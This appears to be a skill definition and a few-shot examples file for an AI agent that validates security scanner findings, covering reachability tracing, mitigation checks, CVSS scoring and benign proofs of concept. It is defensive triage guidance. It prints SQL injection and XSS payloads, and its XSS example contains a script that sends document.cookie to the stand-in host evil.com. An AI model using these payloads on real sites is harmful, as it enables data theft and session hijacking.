Vulnerability Validation

Vulnerability Validation

Validate security findings by assessing whether they are actually exploitable in the context of this codebase. This skill filters false positives, confirms real vulnerabilities, and generates proof-of-concept exploits.

When to Use This Skill

• After commit-security-scan - Validate findings before creating issues or blocking PRs
• HIGH/CRITICAL findings - Prioritize validation of severe findings
• Before patching - Confirm vulnerability is real before investing in fixes
• Security review - Deep-dive validation of specific findings

Prerequisites

• .factory/threat-model.md must exist (from threat-model-generation skill)
• security-findings.json must exist (from commit-security-scan skill)

Inputs

Instructions

Follow these steps for each finding to validate:

Step 1: Load Context

1. Read security-findings.json from commit-security-scan 2. Read .factory/threat-model.md for system context 3. Identify which findings to validate based on inputs

Step 2: Reachability Analysis

For each finding, determine if the vulnerable code is reachable:

1. Trace entry points

• Can external users reach this code path?
• What HTTP endpoints, CLI commands, or event handlers lead here?
• Is authentication required to reach this code?

2. Map the call chain

• Starting from the entry point, trace the path to the vulnerable code
• Document each function call in the chain
• Note any branching conditions that must be satisfied

3. Classify reachability

• EXTERNAL - Reachable from unauthenticated external input
• AUTHENTICATED - Requires valid user session
• INTERNAL - Only reachable from internal services
• UNREACHABLE - Dead code or blocked by conditions

Step 3: Control Flow Analysis

Determine if an attacker can control the vulnerable input:

1. Identify the source

• Where does the tainted data originate?
• HTTP parameter, file upload, database query, environment variable?

2. Trace data flow

• Follow the data from source to sink (vulnerable function)
• Document each transformation or validation step
• Note any sanitization, encoding, or type conversion

3. Assess attacker control

• Can the attacker fully control the input?
• Are there length limits, character restrictions, or format validation?
• Does the data pass through any sanitization?

Step 4: Mitigation Assessment

Check if existing security controls prevent exploitation:

1. Input validation

• Is the input validated before reaching the vulnerable code?
• What validation rules are applied?

2. Framework protections

• Does the framework provide automatic protection? (e.g., ORM parameterization, React XSS escaping)
• Is the protection enabled and properly configured?

3. Security middleware

• Are there WAF rules, rate limiting, or other controls?
• Do CSP headers or other browser protections apply?

4. Reference threat model

• Check the "Existing Mitigations" section for this threat type
• Verify mitigations are actually in place

Step 5: Exploitability Assessment

Determine how difficult it is to exploit:

Consider:

• Attack complexity
• Required privileges
• User interaction needed
• Scope of impact

Step 6: Generate Proof-of-Concept

For confirmed vulnerabilities, create a proof-of-concept:

1. Craft exploit payload

• Create a minimal payload that demonstrates the vulnerability
• Use benign payloads (no actual damage)

2. Document the request

• HTTP method, URL, headers, body
• Or CLI command, file input, etc.

3. Describe expected vs actual behavior

• What should happen (secure behavior)
• What actually happens (vulnerable behavior)

Example PoC structure:

{
  "payload": "' OR '1'='1",
  "request": "GET /api/users?search=' OR '1'='1",
  "expected_behavior": "Returns users matching search term",
  "actual_behavior": "Returns all users due to SQL injection"
}

Step 7: Calculate CVSS Score

Assign a CVSS 3.1 score based on:

Example: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 (Critical)

Step 8: Classify Finding

Based on analysis, classify each finding:

Step 9: Generate Output

Create validated-findings.json:

{
  "validation_id": "val-<timestamp>",
  "validation_date": "<ISO timestamp>",
  "scan_id": "<from security-findings.json>",
  "threat_model_version": "<from threat-model.md>",
  "validated_findings": [
    {
      "id": "VULN-001",
      "status": "CONFIRMED",
      "original_severity": "HIGH",
      "validated_severity": "HIGH",
      "exploitability": "EASY",
      "reachability": "EXTERNAL",
      "existing_mitigations": [],
      "exploitation_path": [
        "User submits search query via GET /api/users?search=<payload>",
        "Express router passes query to searchUsers() handler",
        "Handler passes unsanitized input to SQL template literal",
        "PostgreSQL executes malicious SQL"
      ],
      "proof_of_concept": {
        "payload": "' OR '1'='1",
        "request": "GET /api/users?search=' OR '1'='1",
        "expected_behavior": "Returns users matching search term",
        "actual_behavior": "Returns all users due to SQL injection"
      },
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "cvss_score": 9.1,
      "validation_notes": "Confirmed via code tracing. No input validation or parameterization."
    }
  ],
  "false_positives": [
    {
      "id": "VULN-003",
      "original_severity": "MEDIUM",
      "reason": "Input is validated by Joi schema in middleware before reaching this code. Schema enforces UUID format which prevents injection.",
      "evidence": "See src/middleware/validation.js:45 - Joi.string().uuid()"
    }
  ],
  "needs_manual_review": [
    {
      "id": "VULN-005",
      "original_severity": "HIGH",
      "reason": "Complex data flow through message queue. Unable to fully trace if sanitization occurs in consumer service."
    }
  ],
  "summary": {
    "total_analyzed": 10,
    "confirmed": 5,
    "likely": 2,
    "false_positives": 2,
    "needs_manual_review": 1,
    "by_severity": {
      "CRITICAL": 1,
      "HIGH": 3,
      "MEDIUM": 1,
      "LOW": 0
    }
  }
}

Success Criteria

The skill is complete when:

• [ ] All specified findings have been analyzed
• [ ] Each finding has a status (CONFIRMED, LIKELY, FALSE_POSITIVE, NEEDS_MANUAL_REVIEW)
• [ ] Confirmed findings have exploitation paths documented
• [ ] Confirmed findings have proof-of-concept exploits
• [ ] False positives have clear reasoning
• [ ] validated-findings.json is valid JSON
• [ ] CVSS scores are calculated for confirmed findings

Verification

Run these checks before completing:

# Verify output exists and is valid JSON
cat validated-findings.json | jq . > /dev/null && echo "✓ Valid JSON"

# Check all findings have status
jq '.validated_findings | all(.status)' validated-findings.json

# Check confirmed findings have PoC
jq '.validated_findings | map(select(.status == "CONFIRMED")) | all(.proof_of_concept)' validated-findings.json

# Check false positives have reasoning
jq '.false_positives | all(.reason)' validated-findings.json

Example Invocations

Validate all findings:

Validate the security findings from the last scan.

Validate specific findings:

Validate findings VULN-001 and VULN-002 from security-findings.json.

Validate only HIGH/CRITICAL:

Validate all HIGH and CRITICAL severity findings from the security scan.

Validate with specific files:

Validate findings in security-findings.json using threat model at .factory/threat-model.md.

References

• CVSS 3.1 Calculator: https://www.first.org/cvss/calculator/3.1
• OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
• Examples: validation-examples.md (in this skill directory)
• Upstream: commit-security-scan skill

Vulnerability Validation Examples

This document provides few-shot examples showing how to validate security findings. Each example demonstrates the reasoning process for determining if a vulnerability is real and exploitable.

---

Example 1: Confirmed SQL Injection

Input Finding

{
  "id": "VULN-001",
  "severity": "HIGH",
  "vulnerability_type": "SQL Injection",
  "file": "src/api/users.js",
  "line_range": "45-49",
  "code_snippet": "const sql = `SELECT * FROM users WHERE name LIKE '%${query}%'`;"
}

Validation Process

Step 1: Reachability Analysis

Tracing from entry point:

1. GET /api/users → routes/users.js:12 2. usersRouter.get('/') → controllers/userController.js:28 3. searchUsers(req.query.search) → src/api/users.js:45 (vulnerable code)

Reachability: EXTERNAL - Accessible via unauthenticated HTTP endpoint.

Step 2: Control Flow Analysis

Data flow:

1. Source: req.query.search (HTTP query parameter) 2. Passed directly to searchUsers() function 3. Interpolated into SQL string without sanitization 4. Executed via db.query(sql)

Attacker control: FULL - No validation, encoding, or transformation.

Step 3: Mitigation Assessment

• Input validation: NONE
• Framework protection: Raw SQL query, not using ORM
• Security middleware: No WAF or SQL injection protection detected
• Threat model reference: Section 5.2 lists this as a gap

Step 4: Exploitability Assessment

Rating: EASY

• Standard SQL injection technique
• No special conditions required
• Publicly known attack pattern
• Can be exploited with browser or curl

Step 5: Proof of Concept

{
  "payload": "test%' OR '1'='1' --",
  "request": "GET /api/users?search=test%25'%20OR%20'1'%3D'1'%20--",
  "expected_behavior": "Returns users with 'test' in name",
  "actual_behavior": "Returns ALL users in database"
}

Step 6: CVSS Calculation

• Attack Vector: Network (N)
• Attack Complexity: Low (L)
• Privileges Required: None (N)
• User Interaction: None (N)
• Scope: Unchanged (U)
• Confidentiality: High (H) - Can read all data
• Integrity: High (H) - Can modify data
• Availability: None (N)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N Score: 9.1 (Critical)

Output

{
  "id": "VULN-001",
  "status": "CONFIRMED",
  "original_severity": "HIGH",
  "validated_severity": "CRITICAL",
  "exploitability": "EASY",
  "reachability": "EXTERNAL",
  "existing_mitigations": [],
  "exploitation_path": [
    "Attacker sends GET /api/users?search=<payload>",
    "Express passes query param to searchUsers()",
    "Function interpolates input into SQL template literal",
    "db.query() executes malicious SQL",
    "All user records returned to attacker"
  ],
  "proof_of_concept": {
    "payload": "test%' OR '1'='1' --",
    "request": "GET /api/users?search=test%25'%20OR%20'1'%3D'1'%20--",
    "expected_behavior": "Returns users with 'test' in name",
    "actual_behavior": "Returns ALL users in database"
  },
  "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
  "cvss_score": 9.1,
  "validation_notes": "Confirmed. Direct string interpolation in SQL with no input validation. Upgraded to CRITICAL due to ease of exploitation and data exposure."
}

---

Example 2: False Positive - Sanitized Input

Input Finding

{
  "id": "VULN-002",
  "severity": "HIGH",
  "vulnerability_type": "SQL Injection",
  "file": "src/api/products.js",
  "line_range": "78-82",
  "code_snippet": "const sql = `SELECT * FROM products WHERE category = '${category}'`;"
}

Validation Process

Step 1: Reachability Analysis

Tracing from entry point:

1. GET /api/products → routes/products.js:15 2. productsRouter.get('/') → controllers/productController.js:42 3. validateRequest(categorySchema) middleware runs FIRST 4. getProducts(req.query.category) → src/api/products.js:78

Step 2: Control Flow Analysis

Data flow:

1. Source: req.query.category (HTTP query parameter) 2. VALIDATED by Joi schema middleware at middleware/validation.js:23 3. Schema: Joi.string().valid('electronics', 'clothing', 'food', 'other') 4. Only passes if input matches allowed enum values 5. Then passed to getProducts() function

Step 3: Mitigation Assessment

• Input validation: YES - Joi schema restricts to enum values
• The malicious SQL characters cannot pass validation
• Validation happens BEFORE the vulnerable code executes

Step 4: Exploitability Assessment

Rating: NOT_EXPLOITABLE

• Input is restricted to 4 predefined values
• SQL injection payload would fail Joi validation
• Request would return 400 Bad Request before reaching vulnerable code

Output

{
  "id": "VULN-002",
  "original_severity": "HIGH",
  "status": "FALSE_POSITIVE",
  "reason": "Input is validated by Joi schema middleware before reaching this code. Schema enforces strict enum values ('electronics', 'clothing', 'food', 'other') which prevents any SQL injection payload from passing through.",
  "evidence": "See middleware/validation.js:23 - Joi.string().valid('electronics', 'clothing', 'food', 'other'). Middleware applied at routes/products.js:15 before handler."
}

---

Example 3: Confirmed XSS with Framework Bypass

Input Finding

{
  "id": "VULN-003",
  "severity": "MEDIUM",
  "vulnerability_type": "XSS",
  "file": "src/components/UserProfile.jsx",
  "line_range": "34-36",
  "code_snippet": "<div dangerouslySetInnerHTML={{__html: user.bio}} />"
}

Validation Process

Step 1: Reachability Analysis

1. Component rendered at /profile/:userId route 2. user.bio loaded from API: GET /api/users/:id 3. Bio field is user-editable in profile settings 4. Rendered without authentication (public profiles)

Reachability: EXTERNAL - Any user can set their bio, any visitor can view it.

Step 2: Control Flow Analysis

Data flow:

1. Source: User input in profile settings form 2. Stored in database users.bio column 3. Retrieved via API 4. Rendered with dangerouslySetInnerHTML (explicit XSS risk)

Attacker control: FULL - Users can set arbitrary HTML in bio.

Step 3: Mitigation Assessment

• Input validation: NONE on bio field
• Framework protection: BYPASSED - dangerouslySetInnerHTML disables React's auto-escaping
• CSP headers: Not configured
• Server-side sanitization: NONE

Step 4: Exploitability Assessment

Rating: EASY

• Attacker creates account
• Sets bio to <script>document.location='https://evil.com/steal?c='+document.cookie</script>
• Shares profile link with victim
• Victim's cookies stolen

Step 5: Proof of Concept

{
  "payload": "<img src=x onerror=\"alert('XSS')\">",
  "request": "PATCH /api/users/me with body {\"bio\": \"<img src=x onerror=\\\"alert('XSS')\\\">\"}",
  "expected_behavior": "Bio displayed as text or sanitized HTML",
  "actual_behavior": "JavaScript executes in victim's browser"
}

Step 6: CVSS Calculation

• Attack Vector: Network (N)
• Attack Complexity: Low (L)
• Privileges Required: Low (L) - Need account to set bio
• User Interaction: Required (R) - Victim must view profile
• Scope: Changed (C) - Can affect other users
• Confidentiality: Low (L) - Can steal cookies
• Integrity: Low (L) - Can deface page
• Availability: None (N)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Score: 5.4 (Medium)

Output

{
  "id": "VULN-003",
  "status": "CONFIRMED",
  "original_severity": "MEDIUM",
  "validated_severity": "MEDIUM",
  "exploitability": "EASY",
  "reachability": "EXTERNAL",
  "existing_mitigations": [],
  "exploitation_path": [
    "Attacker creates account and navigates to profile settings",
    "Attacker sets bio field to malicious HTML/JS payload",
    "Payload stored in database without sanitization",
    "Victim visits attacker's public profile page",
    "React renders bio with dangerouslySetInnerHTML",
    "Malicious script executes in victim's browser context"
  ],
  "proof_of_concept": {
    "payload": "<img src=x onerror=\"alert('XSS')\">",
    "request": "PATCH /api/users/me with body {\"bio\": \"<img src=x onerror=\\\"alert('XSS')\\\">\"}",
    "expected_behavior": "Bio displayed as text or sanitized HTML",
    "actual_behavior": "JavaScript executes in victim's browser"
  },
  "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
  "cvss_score": 5.4,
  "validation_notes": "Confirmed stored XSS. The use of dangerouslySetInnerHTML explicitly bypasses React's XSS protection. No server-side sanitization detected."
}

---

Example 4: Needs Manual Review - Complex Data Flow

Input Finding

{
  "id": "VULN-004",
  "severity": "HIGH",
  "vulnerability_type": "Command Injection",
  "file": "src/workers/imageProcessor.js",
  "line_range": "56-60",
  "code_snippet": "exec(`convert ${inputPath} -resize ${size} ${outputPath}`)"
}

Validation Process

Step 1: Reachability Analysis

1. Code is in a background worker, not directly callable 2. Triggered by messages on image-processing queue 3. Messages published when users upload images 4. Upload endpoint: POST /api/upload

Reachability: EXTERNAL (indirect via message queue)

Step 2: Control Flow Analysis

Data flow:

1. Source: File upload at POST /api/upload 2. Upload handler saves file and publishes to queue 3. Message contains: { inputPath, size, outputPath } 4. Worker receives message and runs exec()

Problem: Cannot fully trace the data flow:

• Where does size parameter come from?
• Is inputPath user-controlled or server-generated?
• What validation happens in the upload handler?
• Are there multiple publishers to this queue?

Step 3: Mitigation Assessment

Unknown:

• Upload handler code is in a different service
• Cannot verify if parameters are sanitized before publishing
• Cannot verify if worker validates before exec()

Step 4: Exploitability Assessment

Rating: UNKNOWN

• If size comes from user input without validation → EASY to exploit
• If inputPath includes user filename → Potentially exploitable
• Cannot determine without reviewing upload service

Output

{
  "id": "VULN-004",
  "original_severity": "HIGH",
  "status": "NEEDS_MANUAL_REVIEW",
  "reason": "Complex data flow through message queue prevents full validation. The exec() call is dangerous, but the source of inputPath and size parameters could not be fully traced. These values originate from a different service (upload-service) that publishes to the image-processing queue.",
  "questions_for_reviewer": [
    "Where does the 'size' parameter originate? Is it user-controlled?",
    "Is 'inputPath' derived from user-provided filename or server-generated UUID?",
    "What validation exists in upload-service before publishing to queue?",
    "Are there other publishers to the image-processing queue?"
  ],
  "recommendation": "If any of these parameters are user-controlled, this is a critical command injection vulnerability. Review upload-service code at src/handlers/upload.js."
}

---

Example 5: False Positive - Framework Protection

Input Finding

{
  "id": "VULN-005",
  "severity": "MEDIUM",
  "vulnerability_type": "SQL Injection",
  "file": "src/repositories/orderRepository.js",
  "line_range": "23-25",
  "code_snippet": "return db.query(`SELECT * FROM orders WHERE user_id = ${userId}`);"
}

Validation Process

Step 1: Reachability Analysis

1. Called from GET /api/orders endpoint 2. Requires authentication (JWT middleware) 3. userId extracted from JWT token: req.user.id

Step 2: Control Flow Analysis

Data flow:

1. Source: req.user.id from JWT token 2. JWT is signed by server with secret key 3. User cannot modify their own id in the token 4. Server generates id as UUID on registration

Key insight: userId is NOT user-controlled input. It comes from a server-signed JWT.

Step 3: Mitigation Assessment

• The userId value is extracted from a cryptographically signed JWT
• Users cannot forge or modify the JWT payload without the secret
• The id is a UUID generated by the server, not user input
• Even though string interpolation is used, the input is trusted

Step 4: Exploitability Assessment

Rating: NOT_EXPLOITABLE

• Attacker cannot control the userId value
• Would need to compromise JWT signing secret
• At that point, SQL injection would be the least of the problems

Output

{
  "id": "VULN-005",
  "original_severity": "MEDIUM",
  "status": "FALSE_POSITIVE",
  "reason": "The userId parameter is not user-controlled. It is extracted from a server-signed JWT token (req.user.id) after authentication middleware verifies the signature. Users cannot modify their ID in the token without the signing secret. While using parameterized queries would still be best practice, this is not exploitable as SQL injection.",
  "evidence": "Authentication middleware at middleware/auth.js:15 verifies JWT. User ID is set during registration as UUID (services/auth.js:45) and embedded in signed token."
}

---

Key Takeaways

When to Confirm

• Attacker can control input that reaches vulnerable code
• No sanitization or validation in the data flow
• Framework protections are bypassed or disabled
• Can construct a working proof-of-concept

When to Mark False Positive

• Input is validated/sanitized before reaching vulnerable code
• Framework provides automatic protection that's enabled
• The "user input" is actually server-controlled (e.g., from signed token)
• Code is unreachable from any entry point

When to Request Manual Review

• Complex data flows across services or queues
• Cannot fully trace input source
• Validation exists but uncertain if it's sufficient
• Requires domain knowledge to assess impact